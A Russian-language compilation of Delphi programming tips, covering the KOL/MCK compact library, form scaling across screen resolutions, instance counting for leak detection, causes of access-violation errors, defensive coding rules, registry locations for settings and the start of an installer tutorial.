KOL - не только объектно-ориентированная, но и визуальная библиотека. Программы и их графический интерфейс возможно проектировать практически так же, как и в визуальной среде VCL. В дополнение к KOL идет библиотека MCK (Mirror Classes Kit, Библиотека Зеркальных Классов), которая содержит VCL-компоненты, устанавливающиеся на палитру обычным образом. Единственное отличие в том, что зеркальные компоненты библиотеки MCK существуют только на стадии разработки (design time), участвуя в генерации "настоящего" кода, совместимого с требованиями библиотеки KOL. Во время работы (run time) выполняется этот код, и тот, который был добавлен самим разработчиком. В коде времени исполнения нет ссылок на компоненты VCL, есть только объекты KOL, компактные и эффективные.

В чем же заключается секрет компактности кода? Ответ не один, но выделить главные составляющие все же представляется возможным. В первую очередь следует отметить способность компилятора Delphi не включать в код конечного приложения невостребованный код. Процедуры и переменные, на которые нет ссылок из того кода, который уже внесен в список участков кода, подлежащих включению в конечный продукт, отбрасываются и в дальнейшей сборке не учавствуют. К сожалению, данная способность компилятора Delphi, называемая самими разработчиками компилятора "smart linking" (умное связывание), несколько ограничена. В частности, виртуальные методы используемых классов и объектов не могут быть изъяты из процесса компиляции и сборки приложения. Соответственно, и те переменные и процедуры (методы), на которые имеются ссылки из таких виртуальных методов, также не могут быть отброшены.

При разработке библиотеки KOL это обстоятельство было учтено. Автору пришлось отказаться от жесткого следования канонам объектно-ориентированного программирования. В частности, в KOL один и тот же объектный тип может использоваться для инкапсуляции нескольких подобных друг другу объектов. Например, тип TControl не является базовым для описания визуальных объектов подобно тому, как это сделано в VCL. Представители объектного типа TControl в библиотеке KOL уже без какого-либо наследования могут выполнять роль различных визуальных объектов (кнопок, меток, панелек, и т.п.) - в зависимости от того, какая глобальная функция использовалась для конструирования каждого конкретного объекта (например, NewPanel, NewButton и т.д.)

Такое совмещение нескольких объектов в одном объектном типе, вообще говоря, может приводить к некоторой путанице, поскольку наряду с методами и свойствами, общими для всех объектов, инкапсулированных этим объектным типом, могут иметься методы и свойства сугубо индивидуальные, характерные только для некоторой конкретной разновидности объектов. Поскольку тип (класс) тот же самый, существует вероятность ошибочного применения метода, не свойственного для данной разновидности объекта. Единственная причина, заставившая автора поступать так, это необходимость избежать большого числи виртуальных методов.

Разумеется, если бы виртуальные методы благополучно пропускались компилятором в тех случаях, когда они не нужны (а потенциально такая возможность существует), структуру объектов можно было бы сделать более ясной. Тем не менее, даже и в этом случае VCL не позволил бы программам стать намного компактнее. И проблема здесь уже в том, что разработчики VCL спроектировали свою библиотеку так, что многие объекты создаются и многие действия производятся еще до того, как будет известно, понадобятся ли они вообще, или так и останутся лежать в коде программы мертвым грузом. Например, если создается визуальный объект, то для него инициализируется шрифт, полотно для рисования, менеджеры перетаскивания, множество других объектов - на всякий случай: а вдруг понадобятся! Конечно, программе может понадобиться что-нибудь нарисовать, или изменить какой-нибудь шрифт. Программа может быть спроектирована для использования популярного интерфейса расположения плавающих панелей drag-and-dock. Может, но ведь не обязана, так?

В противоположность VCL, библиотека KOL поступает с необязательными действиями и объектами значительно более аккуратно. Они (действия) выполняются и (объекты) инициализируются только тогда, когда они впервые потребуются. Очистка ресурсов и памяти по завершении использования при этом проблем как раз не представляет. Один и тот же (виртуальный) метод Free прекрасно справляется с освобождением отработавших подчиненных объектов, независимо от их типа. Собственно, это и есть главная причина того, почему программы, изготовленные с использованием библиотеки KOL, настолько кодоэкономичны.

В описываемой библиотеке используется несколько различных способов реализации такого отложенного принятия решения, в зависимости от природы необязательного к включению в программу кода. Важнее не столько перечислить эти способы, которые, вообще говоря, являются просто удачным применением общепринятых программистских приемов, сколько объяснить и понять суть их действия.

Как известно, исходный текст программы превращается в исполняемый машинный код в результате работы иногда нескольких программ: прекомпилятора, компилятора, сборщика. Отметим, что когда речь идет о среде Delphi, разделять эти шаги особого смысла не имеет, так как все они выполняются одной и той же программой. Поэтому, говоря "компилятор", будем подразумевать все эти этапы вместе. Поскольку именно компилятор Delphi принимает решение, подключать или не подключать код той или иной процедуры к программе, откладывание решения о необходимости ее использования путем первого обращения к ней в коде только тогда, когда ее функциональность оказалась востребована разработчиком проекта, требует пояснения.

На самом деле, все очень просто разъясняется слеующим небольшим примером. Пусть наш визуальный объект (кнопка, к примеру) содержит свойство Font (шрифт). В отличие от VCL, не будем создавать подчиненный объект, соответствующий этому свойству, в конструкторе нашего объекта (кнопки, хозяина шрифта). Создадим его в том методе, который выполняет чтение свойства Font (в методе GetFont), в случае если он еще не создан. В итоге, если в приложении к свойству Font нигде нет обращений (т.е. разработчику не было нужды изменять шрифт своих визуальных объектов, и его устраивают стандартные шрифты, настроенные пользователем), компилятор не обнаружит и ни одного вызова метода GetFont, и соответственно, не включит в программу код этого метода. Следовательно, ни одной ссылки не будет обнаружено ни на конструктор объекта шрифта, ни на другие процедуры, которые иначе бы оказались задействованы и попали бы в исполнимый модуль.

Понятно, что приведенный пример поясняет только один из многих использованных приемов. Но принцип всех таких приемов один и тот же, а именно, как уже сказано выше: отложить принятие решения о подключении дополнительного кода до тех пор, пока он не потребуется разработчику программногопродукта. По мнению автора, данный принцип в корне расходится со сложившейся практикой программирования. Пожалуй, на примере KOL, в частности доказана нелепость общепринятого подхода, который приводит к тому, что 90% кода в современных приложениях - это шлак, мусор, который если и работает, то вхолостую, и лишь попусту затрачивает ресурсы процессора, оперативной памяти, занимает место на жестком диске, отнимает время при передаче лишних сотен килобайт по сети и через интернет, и залезает при этом в ваш карман. И недаром в ответ на вопрос, как уменьшить размер программы, иногда можно получить такой ответ, что, дескать, зачем уменьшать? - чем больше объем, тем больше заплатят. (Варианты: "солидней", заказчик больше уважает). Не бессмыслица ли?

Если кто-то из Delphi-программистов, прочитавших эту статью, заинтересуется, то милости прошу на интернет-страницу KOL/MCK, берите себе эти библиотеки (все совершенно бесплатно, в исходных кодах), и обязательно попробуйте. Уверяю: не пожалеете!

Интернет-страница KOL/MCK: http://xcl.cjb.net
Почта: bonanzas@xcl.cjb.net

Взято с сайта www.emanual.ru


Приложение с различным разрешением монитора?

Из рассылки "Мастера DELPHI. Новости мира компонент, FAQ, статьи..."

Приложение, адекватно отображающееся на экранах с различным разрешением монитора?

unit Main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{Отлавливаем, сообщение о изменении разрешения экрана}
procedure WMDisplayChange(var message: TMessage); message WM_DISPLAYCHANGE;
public
W, H: integer;
end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
Width := Round(Width * 1.5);
Height := Round(Height
* 1.5);
ScaleBy(150, 100)
end;

procedure TForm1.WMDisplayChange(var message: TMessage);
begin
inherited;
Width := Round(Width * LOWORD(message.LParam) / W);
Height := Round(Height * HIWORD(message.LParam) / H);
ScaleBy(LOWORD(message.LParam), W);
W := Screen.Width;
H := Screen.Height;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
W := Screen.Width;
H := Screen.Height;
end;

end.

Взято с Vingrad.ru http://forum.vingrad.ru


Масштабирование окон приложений, в зависимости от разрешения экрана

1. В ранней стадии создания приложения решите для себя хотите ли вы позволить форме масштабироваться. Преимущество немасштабируемой формы в том, что ничего не меняется во время выполнения. В этом же заключается и недостаток (ваша форма может бать слишком маленькой или слишком большой в некоторых случаях).
2. Если вы не собираетесь делать форму масштабируемой, установите св-во Scaled=False и дальше не читайте. В противном случае Scaled=True.
3. Установите AutoScroll=False. AutoScroll = True означает не менять размер окна формы при выполнении что не очень хорошо выглядит, когда содержимое формы размер меняет.
4. Установите фонты в форме на TrueType фонты, например Arial. Если такого фонта не окажется на пользовательском компьютере, то Windows выберет альтернативный фонт из того же семейства. Этот фонт может не совпадать по размеру, что вызовет проблемы.
5. Установите св-во Position в любое значение, отличное от poDesigned. poDesigned оставляет форму там, где она была во время дизайна, и, например, при разрешении 1280x1024 форма окажется в левом верхнем углу и совершенно за экраном при 640x480.
6. Оставляйте по-крайней мере 4 точки между компонентами, чтобы при смене положения границы на одну позицию компоненты не "наезжали" друг на друга. Для однострочных меток (TLabel) с выравниванием alLeft или alRight установите AutoSize=True. Иначе AutoSize=False.
7. Убедитесь, что достаточно пустого места у TLabel для изменения ширины фонта - 25\% пустого места многовато, зато безопасно. При AutoSize=False Убедитесь, что ширина метки правильная, при AutoSize=True убедитесь, что есть ссвободное место для роста метки.
8. Для многострочных меток (word-wrapped labels), оставьте хотя бы одну пустую строку снизу.
9. Будьте осторожны при открытии проекта в среде Delphi при разных разрешениях. Свойство PixelsPerInch меняется при открытии формы. Лучше тестировать приложения при разных разрешениях, запуская готовый скомпилированный проект, а редактировать его при одном разрешении. Иначе это вызовет проблемы с размерами.
10. Не изменяйте свойство PixelsPerInch !
11. В общем, нет необходимости тестировать приложение для каждого разрешения в отдельности, но стоит проверить его на 640x480 с маленькими и большими фонтами и на более высоком разрешении перед продажей.
12. Уделите пристальное внимание принципиально однострочным компонентам типа TDBLookupCombo. Многострочные компоненты всегда показывают только целые строки, а TEdit покажет урезанную снизу строку. Каждый компонент лучше сделать на несколько точек больше.

Автор: Song


Использование классовых методов для выявления утечек памяти

Class Methods aply to the class level, in other words you donґt need an instance to call the method

I wish we could define class objects as well, but they doesnґt exist in Object Pascal, so we will do a trick, we are going to define a variable in the implementation section of the unit, this variable will hold the number of instances the class will have in a moment in time. Object Oriented purist might claim about it, but it works, nobody is perfect (not even Delphi!).

For example say you need to create instances of a class named TFoo, so you create the following Unit.

We will define two class procedures: AddInstance(to increse the counter of instances) and ReleaseInstance(to decrese the number of instances), these are called in the constructor and the destructor acordingly. Finally we define a class function NumOfInstances which returns the actual number of instances.

Add a Initilialization and a Finalization section to the Unit, in the Finalization section ask if the number of instances is <> 0, if this is the case you known that you didinґt destroy all the objects that you created.

unit U_Foo;

interface

uses
  Classes, Windows, SysUtils;

type
  TFoo = class
  private
    class procedure AddInstance;
    class procedure ReleaseInstance;
  public
    constructor Create;
    destructor Destroy; override;
    class function NumOfInstances: Integer;
  end;

implementation

var
  TFoo_Instances: Integer = 0;

  { TFoo }

class procedure TFoo.AddInstance;
begin
  Inc(TFoo_Instances);
end; //end of TFoo.AddInstance

constructor TFoo.Create;
begin
  AddInstance;
end; //end of TFoo.Create

destructor TFoo.Destroy;
begin
  ReleaseInstance;
  inherited;
end; //end of TFoo.Destroy

class function TFoo.NumOfInstances: Integer;
begin
  Result := TFoo_Instances;
end; //end of TFoo.NumOfInstances

class procedure TFoo.ReleaseInstance;
begin
  Dec(TFoo_Instances);
end; //end of TFoo.ReleaseInstance

initialization

finalization

  if TFoo_Instances <> 0 then
    MessageBox(0,
      PChar(Format('%d instances of TFoo active', [TFoo_Instances])),
      'Warning', MB_OK or MB_ICONWARNING);

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Оптимизация программы для работы в фоновом режиме

Я пишу программу в Delphi, которая каждый час должна проверять размер файла. Это также предполагает, что в случае неактивности приложения оно должно работать сторожевым псом в фоновом режиме win 95 и NT. Как мне сделать это...?? Вот некоторый исходный код, который должен делать то, что вы хотите. Я его только что создал и еще не успел проверить, но что-то подобное я уже делал, так что это должно работать. Код допускает одно предположение, о котором вы должны отдавать себе отчет. Оно заключается в том, что приложение должно запускатьтся одновременно с Windows (может быть из группы автозапуска), так как код использует GetTickCount, возвращающий в миллисекундах время с момента старта системы, это необходимо для ежечасной инициализац ии кода выполнения задачи. По-моему это то, что вам нужно. Величина, возвращаемая GetTickCount имеет тип DWORD, но Delphi ее хранит как LongInt, поэтому большие значения могут иметь отрицательную величину (после примерно 25 дней). Данный эффект в алгоритм е проверки наступления часа неопределен (я действительно не считал это). Аналогично, значение будет повторяться в цикле каждые 49.7 дней и может появиться другой эффект, когда раз в 49.7 дней в одном реальном часе алгоритм сработает дважды. Надеюсь это ни как не скажется на вашей задаче. Во всяком случае разве это не то, что вы хотели? Успехов!

program Project1;

uses Messages, Windows;

{$R *.RES}

function KeepRunning: Boolean;
var
  Msg: TMsg;
begin
  Result := True;
  while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
  begin
    if (Msg.Message = WM_QUIT) then
      Result := False;
    DispatchMessage(Msg);
  end;
end;

function OnTheHour: Boolean;
begin
  { Это действительно проверяется в течение одной секунды    }
  { (или меньше) для проверки наступления нового часа,       }
  { когда нам необходимо запустить нашу задачу на выполнение }
  Result := (GetTickCount mod
    (1 {hr} * 60 {min} * 60 {sec} * 1000 {msec}) < 1000);
end;

const
  filetocheck = 'c:\somedir\somefile.ext';
  magicsize = 1000000;
var
  f: file;
  size: longint;
begin
  { проверка наступления нового часа с момента запуска системы }
  while keeprunning do
  begin
    { проверяем наступление часа }
    if onthehour then
    begin
      { открываем файл с размером записи 1 байт }
      { и проверяем его размер                  }
      assignfile(f, filetocheck);
      reset(f, 1);
      size := filesize(f);
      closefile(f);
      { теперь проверяем изменение размера файла }
      if (size >= MAGICSIZE) then
      begin
        { Предпринимаем какие-то действия }
      end;
      { Теперь "сидим" в этом участке кода                 }
      { и ожидаем очередного часа, здесь можно             }
      { предусмотреть выход из программы или иное действие }
      while (KeepRunning and OnTheHour) do
        {ничего};
    end;
  end;
end.

Взято с http://delphiworld.narod.ru


Ловим баги или почему программы допускают недопустимые операции

Ошибки - неизбежное зло программирования. Видимо пока трудно даже представить средство с помощью которого можно избавится от них. Человеку, которые выдумает это чудодейственное лекарство, благодарные потомки-программисты, несомненно, воздвигнут памятник. Пока же остается лишь заниматься обычным делом: ловлей багов.

"Нарушение Доступа" - фраза, которую пользователи видят, когда приложение делает попытки обратиться к памяти, которая не обозначена для их использования - и как следствие происходит сбой в работе программы:

Access violation at address <HEX_value>
in module <Application.Exe>.
Read of address <HEX_value_2>

Ситуация при которой Windows давала бы полную свободу программам - записывай данные куда хочешь, скорее всего бы привела к разноголосице программ и полной потери управления над компьютером. Но этого не происходит - Windows стоит на страже "границ памяти" и отслеживает недопустимые операции. Если сама она справиться с ними не в силах - происходит запуск утилиты Dr. Watson, которая записывает данные о возникшей ошибки, а сама программа закрывается.

Известно что, при программирование, особенно крупных программных продуктов, уследить за всеми процессами в коде невозможно, да и нет необходимости. Использование сторонних компонентов и библиотек только усложняет дело. Именно поэтому программисты Delphi, порой и сталкиваются со "своенравными" программами, которые то и дело норовят "сбросить пользователя". Итак, давайте рассмотрим некоторые вопросы, связанные с корректной средой программирования, так и непосредственно проблем написания кода, которые ведут к возникновению ошибок типа "ошибка доступа" (AVS) и очертим наиболее известные пути их исправления.

Мы можем поделить AVS, с которыми сталкиваются при разработке в Delphi на два основных типах: ошибки при выполнения и некорректная разработка проекта, что вызывает ошибки при работе программы.

Ошибки возникают при старте и закрытии Delphi или формировании проекта. Причиной могут являться сбои в "железе" компьютера.

Эти ошибки могут быть вызваны различными источниками, включая систему BIOS, операционную систему или аппаратные подпрограммы драйверов. Некоторые видео-, звуковые или сетевые платы могут фактически вызывать подобного рода ошибки в Delphi. Для решения подобных аппаратных проблем можно предпринять последовательность неких "стандартных" ходов:

Проверить, что не имеется никаких конфликтов между установленными устройствами, устранить обнаруженные конфликты;
Попробовать слегка уменьшить "аппетиты" видеодрайвера - поставить меньшее разрешение;
В случае если у вас двухпроцесорная система обеспечить равное изменение шага для каждого процессора;
И в конце концов просто попытаться заменить драйвера на более свежие.
Но помимо чисто железных проблем - большую головную боль могут вызвать ошибки в работе программного обеспечения. Особенно это касается непосредственно операционной системы. Зачастую Windows терпит крах спонтанно. Вот рекомендации которые помогут вам создать более устойчивую среду программирования:

Хотя Windows 9X популярная система, разработку лучше проводить в Windows NT или Windows 2000 - это более устойчивые операционные системы. Естественно при переходе на них придется отказаться от некоторых благ семейства Windows 95/98/Me - в частности не все программы адоптированы для Windows NT/2000. Зато вы получите более надежную и стабильную систему.
Не забывайте о том, как важно всегда иметь под рукой свежие версии компонентов для Delphi и дополнительных библиотек. В отличие от Windows создатели данных пакетов стараются от версии к версии уменьшать количество ошибок.
Следите за тем, что бы устанавливаемые компоненты были предназначены непосредственно для вашей версии Delphi. Попробуйте деинсталлировать чужеродные компоненты один за другим (или пакет за пакетом) пока проблема не будет устранена.
Контролируйте все программные продукты установленные на вашей машине и деинсталлируйте те из них, которые сбоят. Фаворитами AV среди них являются шароварные утилиты и программы и бета версии программных продуктов.
Все вышеперечисленное в основном не касалось самого процесса программирования и в малой степени зависит от разработчика. Теперь же обратимся к теме, как не допустить при разработки программного продукта ситуации при которой, он сам будет являться причиной ошибки.

Вы могли бы рассмотреть компилирование вашего приложения с директивой {$D}, данная директива компилятора может создавать файлы карты (файлы с расширением map, которые можно найти в том же каталоге, что и файлы проекта), которые могут послужить большой справкой в локализации источника подобных ошибок. Для лучшего "контроля" за своим приложением, компилируйте его с директивой {$D}. Таким образом, вы заставите Delphi генерировать информацию для отладки, которая может послужить подспорьем при выявление возникающих ошибок.

Следующая позиция в Project Options - Linker & Compiler позволяет вам, определить все для последующей отладки. Лучше всего, если помимо самого выполняемого кода будет доступна и отладочная информация - это поможет при поиске ошибок. Отладочная информация увеличивает размер файла и занимает дополнительную память при компилировании программ, но непосредственно на размер или быстродействие выполняемой программы не влияет. Включение опций отладочной информации и файла карты дают детальную информацию только, если вы компилируете программу с директивой {$D+}.

Эта информация состоит из таблицы номеров строк для каждой процедуры, которая отображает адреса объектных кодов в номера строк исходного текста. Директива $D обычно используется совместно с другой директивой - $L, что позволяет или запрещает генерацию информации о локальных символах для отладки.

Таким образом вы без труда сможете найти точный адрес той подпрограммы, которая была ответственна за ошибку. Одна из наиболее общих причин ошибок выполнения - использование объекта, который еще не был создан. Если второй адрес при выдачи ошибки - FFFFFFF (или 0000000) Вы можете почти утверждать, что было обращение к объекту, который еще не был создан. Например, вызов метода формы, которая не была создана.

procedure TfrMain.OnCreate(Sender: TObject);
var
  BadForm: TBadForm;
begin
  BadForm.Refresh; // причина ошибки
end;

Попытаемся разобратся в этой ситуации. Предположим, что BadForm есть в списке "Available forms " в окне Project Options|Forms. В этом списке находятся формы, которые должны быть созданы и уничтожены вручную. В коде выше происходит вызов метода Refresh формы BadForm, что вызывает нарушение доступа, так как форма еще не была создана, т.е. для объекта формы не было выделено памяти.

Если вы установите "Stop on Delphi Exceptions " в Language Exceptions tab в окне Debugger Options, возможно возникновение сообщения об ошибке, которое покажет, что произошло ошибка типа EACCESSVIOLATION. EACCESSVIOLATION - класс исключение для недопустимых ошибок доступа к памяти. Вы будете видеть это сообщение при разработке вашего приложения, т.е. при работе приложения, которое было запущено из среды Delphi.

Следующее окно сообщения будет видеть пользователь - и программа будет закрыта при совершение недопустимой операции:

Access violation at address 0043F193
in module 'Project1.exe'
Read of address 000000.

Первое шестнадцатиричное число ('0043F193') - адрес ошибки во время выполнения программы. Выберите, опцию меню 'Search|Find Error', введите адрес, в котором произошла ошибка ('0043F193') в диалоге и нажмите OK. Теперь Delphi перетранслирует ваш проект и покажет вам, строку исходного текста, где произошла ошибка во время выполнения программы, то есть BadForm.Refresh.

Естественно, что списка наиболее общих причин ошибок, вызывающих аварийное завершение работы программы, написанной в Delphi в чистом виде нет. Есть несколько общих "узких мест" в коде и структуре программы, когда подобная ошибка может произойти. Перечислим наиболее распространенные.

Недопустимый параметр API

Если вы пытаетесь передать недопустимый параметр в процедуру Win API, может произойти ошибка. Необходимо отслеживать все нововведения в API при выходе новых версий операционных систем и их обновлений.

Уничтожение исключения

Никогда не уничтожайте временный объект исключения. Обработка исключения автоматически уничтожает объект исключения. Если вы уничтожите объект самостоятельно, то приложение попытается уничтожать объект снова, и произойдет ошибка.

Zero := 0;
try
  dummy := 10 / Zero;
except
  on E: EZeroDivide do
    MessageDlg('Can not divide by zero!', mtError, [mbOK], 0);
  E.free. // причина ошибки
end;

Индексация пустой строки

Пустая строка не имеет никаких достоверных данных. Следовательно, попытка индексировать пустую строку - подобно попытке обратиться к нулю, что приведет также к ошибке:

var
  s: string;
begin
  s := '';
  s[1] := 'a'; // причина ошибки
end;

Обращение к динамической переменной

Вы должны строить обращение к динамической переменной корректно, иначе вы перемещаете адреса указателей и возможно разрушаете другие выделенные ячейки памяти.

procedure TForm1.Button1Click(Sender: TObject);
var
  p1, p2: pointer;
begin
  GetMem(p1, 128);
  GetMem(p2, 128);
  {эта строка может быть причиной ошибки}
  Move(p1, p2, 128);
  {данная строка корректна }
  Move(p1^, p2^, 128);
  FreeMem(p1, 128);
  FreeMem(p2, 128);
end;

Перечисленные подходы позволят избежать наиболее частых недочетов в разработке, которые могут вызвать столь неприятное как для пользователя, так и для разработчика сообщение о том, что программа выполнила "недопустимую операцию".

Взято с http://delphiworld.narod.ru


Работа над ошибками

Автор оригинала Coder
Delphi. Работа над ошибками

В течение своей профессиональной деятельности программист вырабатывает систему правил, которая позволяет ему не совершать допущенных ранее ошибок и избегать потенциально опасных ситуаций. Ценность правил заключается в том, что они ограждают программиста от не всегда очевидных проблем, дают возможность писать единообразный код и дают возможность поступать формально, тем самым, освобождая "мыслительные" ресурсы на решение поставленной задачи.

Некоторые из рецептов моей кулинарной книги я хочу предложить на ваше суждение. Очевидность этих правил зависит от вашей квалификации. Согласие с ними зависит от вашей собственной системы. Их источником послужили мой личный опыт и опыт ошибок начинающих программистов, каждое поколение которых повторяет их, к сожалению, с завидной стабильностью .

Выработанные правила направлены на:

Повышение надежности работы программы, т.е. уменьшение вероятности возникновения ошибки. Вероятность возникновения ошибки существует всегда, никто не безгрешен (включая операционную систему). Задача программиста - свести эту вероятность к минимуму.
Увеличение устойчивости программы - свойства, при котором она возвращается в стабильное состояние после возникновения возмущения (ошибки) (а не зависает, исчезает или уваливает операционную систему).
Написание единообразного и легко поддерживаемого кода.

Warnings and Hints

Компилятор Delphi снабжен "анализатором" качества кода. Он может предупреждать о потенциально опасных или бессмысленных ситуациях. Не пренебрегайте его услугами.

Правило:
Добивайтесь, что бы ваша программа компилировалась без предупреждений и намеков. Даже если они не существенны, в последствии в их массе вы или пользователи вашей библиотеки могут не заметить более важные предупреждения.

Использование констант

Используйте именованные константы. Это увеличивает "настраиваемость" исходного кода. А также избавляет от проблем связанных с изменением значения константы в случае ее множественного вхождения.

Range Check и Integer Overflow Check

К сожалению, эти опции компилятора по умолчанию отключены в Delphi, и многие разработчики не пользуются их услугами, а зря. Появления этих ошибок говорит о наличии в программе семантических ошибок, таких как неправильная индексация массива или использование несоответствующего целочисленного типа. Последствия этих ошибок могут быть весьма коварны. Я советую оставлять эти флаги всегда включенными, независимо от того - это отладочная или "финальная" версия программы. Лучше иметь неработающую программу (или ее часть), чем программу работающую неправильно (IMHO).

Отключать их имеет смысл, когда нет возможности исправить эту ошибку, как, например, в случае с ранними версиями VCL, скомпилированной с этими опциями.

Будьте недоверчивы

Очень часто алгоритмы кодируются из расчета на "нормальный" режим работы (достаточно ресурсов, присутствуют все необходимые компоненты, пользователи нажимают правильные комбинации клавиш и т.д.). Такие реализации очень плохо справляются с возникающими возмущениями. Во избежание этих проблем следуйте следующим простым правилам:

Проверяйте значения переменных на допустимость. Особенно это касается переменных типа указатель, процедурных переменных и объектов.
Защищайте пары выделение-освобождение ресурсов блоками try/finally. Предполагайте, что исключение может произойти в любом операторе.
Используйте процедуру Assert для проверки условий, которые всегда должны быть истинными.

Объем кода, добавленный для проверок и обработки ошибок, может достигать порядка "полезного" кода! Но, такой стиль программирования является необходимым условием при написании сложных систем. Что поделаешь, из бревен небоскреб не построишь

Значения по умолчанию и "неопределенные" значения

В логике распределения значений для переменных всегда необходимо предусматривать "неопределенное" значение и значение по умолчанию. Отсутствие таких значений достаточно часто приводят к семантическим ошибкам.

Правило №1:

Для указателей и объектов пустым значением должно являться значение nil.
Для числовых типов лучше всего резервировать значение ноль.
Для строковых переменных - пустая строка
Для перечислимых типов необходимо предусмотреть специальное значение.
Пример:
TDayOfWeek = (dwNone,dwSun,dwMon,dwTue,dwWen,dwThu,dwFri,dwSat);

Правило №2:
"Неопределенными" значениями лучше всего выбирать такие, чье двоичное представление соответствует нулю (нулям). Это увеличивает устойчивость, когда не выполнена начальная инициализация переменной, но произведена инициализация блока памяти, в котором она размещается.

Пример
Для перечислимых типов "неопределенное" значение должно быть первым, так как оно соответствует целочисленному нулю.

Инициализация переменных и полей

Неинициализированные переменные часто становятся причинами возникновения ошибок-фантомов. Обычно они имеют нерегулярную природу, и их трудно выявить в процессе отладки. Особенно катастрофичными могут быть последствия при таком обращении с указателями.

Правило:

Для глобальных переменных: использовать типизированные константы, инициализированные переменные или присваивать начальные значения переменным в секции инициализации модуля.
Для локальных переменных: присваивать начальные значения в первых строках процедуры или функции.
Для полей объектов: присваивать начальные значения полям в конструкторе и не полагаться на то, что память, выделенная под объект, инициализируется нулями.
Массивы, записи и выделенные блоки памяти очень удобно инициализировать при помощи функции FillChar. Но, с появлением в Delphi "управляемых" (manageable) типов (длинные строки, динамические массивы, варианты и интерфейсы), пользоваться ей необходимо с четким пониманием.

Пример

type
  TStrArray = array[1..10] of string;
var
  A : TStrArray;
...
  FillChar(A, SizeOf(A), 0);

В данном примере вызов процедуры FillChar проинициализирует строки пустыми значениями, такой подход был нормальным в ранних версиях Delphi и Borland Pascal, но недопустим в последних версиях, в которых тип string по умолчанию соответствует типу LongString и суть указатель. Если значения строк перед инициализацией были не пусты, то мы получим утечку памяти.

Передача параметров

В Delphi параметры функций и процедур по умолчанию передаются по значению. Т.е. для них выделяется область памяти в стеке или куче, куда копируются оригинальные значения. При передаче параметров сложных типов (запись, массив, строка, вариант) это сопряжено со значительными расходами ресурсов, поэтому параметры этих типов желательно передавать по ссылке, т.е. с использованием ключевых слов var или const. Замечено, что наиболее типична эта ошибка при передаче параметра типа string.

Пример

procedure Proc(s : string); //Не очень хорошо
procedure Proc(const s : string); //Гораздо лучше

Функции, процедуры и состояния

Для начала словарь терминов:

Функция
- это подпрограмма, задачей которой является получение (извлечение, вычисление и т.д.) определенного значения на основании входных параметров и текущего состояния системы.
Процедура
- это подпрограмма, которая предназначена для выполнения каких либо действий над системой, и соответственно изменяет состояние системы.
Просьба не путать эти определения с ключевыми словами function и procedure.

Правило:
Подпрограмма должна быть либо функцией, либо процедурой. Не совмещайте эти две задачи в одной подпрограмме, разделите ее на несколько подпрограмм.

Контроль достижения предела

Исключения в обработчике события OnTimer

При написания обработчика события OnTimer компонента TTimer необходимо учитывать, что возникновение исключения в нем для обычного Delphi приложения без специализированной обработки исключений приведет к выскакиванию диалога с сообщением об ошибке. Но это не останавливает работу таймера. И если причина возникновения исключения устойчива, то скоро вы увидите следующее сообщения и т.д., пока у системы не закончатся какие-нибудь ресурсы.

Решить данную проблему можно несколькими способами:

Обрабатывать исключения непосредственно в обработчике события

try
except
  on E: Exception do Application.ShowException(E);
end;

Использовать централизованный обработчик исключений, который фиксирует их в протоколе или журнале, но не выдает никаких сообщений об ошибке.
Application.OnException := MyExceptionHandler;

Последний подход желательно использовать в серверных приложениях, когда нет пользователя, который интерактивно взаимодействует с приложением.

Заключение

Правила приведенные в этой статье носят общий характер. Практически всегда существуют исключения (такова природа правил J). Следование этим правилам, позволило мне добиться разработки устойчивого и единообразного кода.
Взято из http://forum.sources.ru


Вопросы инсталяции програм

Cодержание раздела:

Какую ветвь реестра использовать для своей проги?
Installer
Install BDE программы
Что делает inf-файл?

См. также статьи в других разделах:
Как инсталлировать INF файл?

См. также другие разделы:
Установка BDE


Какую ветвь реестра использовать для своей проги?

Для настроек уникальных для компьютера:
HKEY_LOCAL_MACHINE\SOFTWARE\наименование твоей организации\имя программы

Для настроек уникальных для пользователя в пределах одного компьютера:
HKEY_CURRENT_USER\SOFTWARE\наименование твоей организации\имя программы

Авторы Pegas, Vit
Взято с Vingrad.ru http://forum.vingrad.ru


Installer

Этапы инсталляции

Дальше

Запомните одно важное правило: инсталлировать программу можно с человеческих носителей
(винчестеры, компакт-диски, ZIP-диски) и с дискет :) Если вы собираетесь написать инсталляцию
с дискет, которая явно не поместиться на одну дискету, то у вас есть шанс хорошо провести время :)

Как вы знаете, Windows сбрасывает ненужную ей в данный момент информацию на диск.
Это правильно, но это касается данных. Программы никогда на диск не сбрасываются,
поскольку в Windows сегмент кода программы не может быть изменён. Когда Windows
нужна память и ей под руку подворачивается ваша программа, она её просто выкидывает — и всё.
Когда ваша программа снова становиться нужна, Windows снова загружает её из выполняемого файла.

Эта в высшей степени корректная техника перестаёт работать при инсталляции с дискет.
Ваша программа, например, копирует четвёртую дискету и тут выясняется, что у неё (у программы)
пропал кусок кода. Какие проблемы? — Windows пытается прочитать файл a:\setup.exe
и естественно его не находит (на четвёртой-то дискете? откуда?).

Только не паникуйте! Эта проблема давно решена, иначе вы не могли бы установить
на свой компьютер ни одной программы! Всё очень просто — программа инсталляции копирует
себя и все необходимые файлы во временный каталог на жёсткий диск и перезапускает
себя с жёсткого диска. Это и есть первый этап инсталляции.
В зарубежных программах он обычно называется "Prepare to install".
Ещё раз обратите внимание на то, что совсем не обязательно выполнять этот этап,
если вы инсталлируетесь не с дискет, или если ваша инсталляция умещается на одну дискету.

На втором этапе программа инсталляции обычно показывает пользователю несколько страшных
предупреждений; что-то типа "если вы не заплатите за эту программу, то сидеть вам в тюрьме три пожизненных срока".
Я слышал, что некоторые пользователи со слабым сердецем даже умирали за компьютером от таких угроз :)

Реализация этого этапа до идиотизма тривиальна, поэтому мы и не будем на нём останавливаться подробно.

Следущий этап — третий. Здесь программа установки дотошно выспрашивает у пользователя кучу
всяких важных данных: имя пользователя и его огранизацию, тип установки, куда будем ставить,
как будет называться группа программ и так далее. На этом этапе нам встретятся некоторые технические
трудности, но их несложно обойти.

Четвёртый этап — копирование. Конечно, это не очень сложно, но некоторые проблемы у нас всё-таки возникнут.
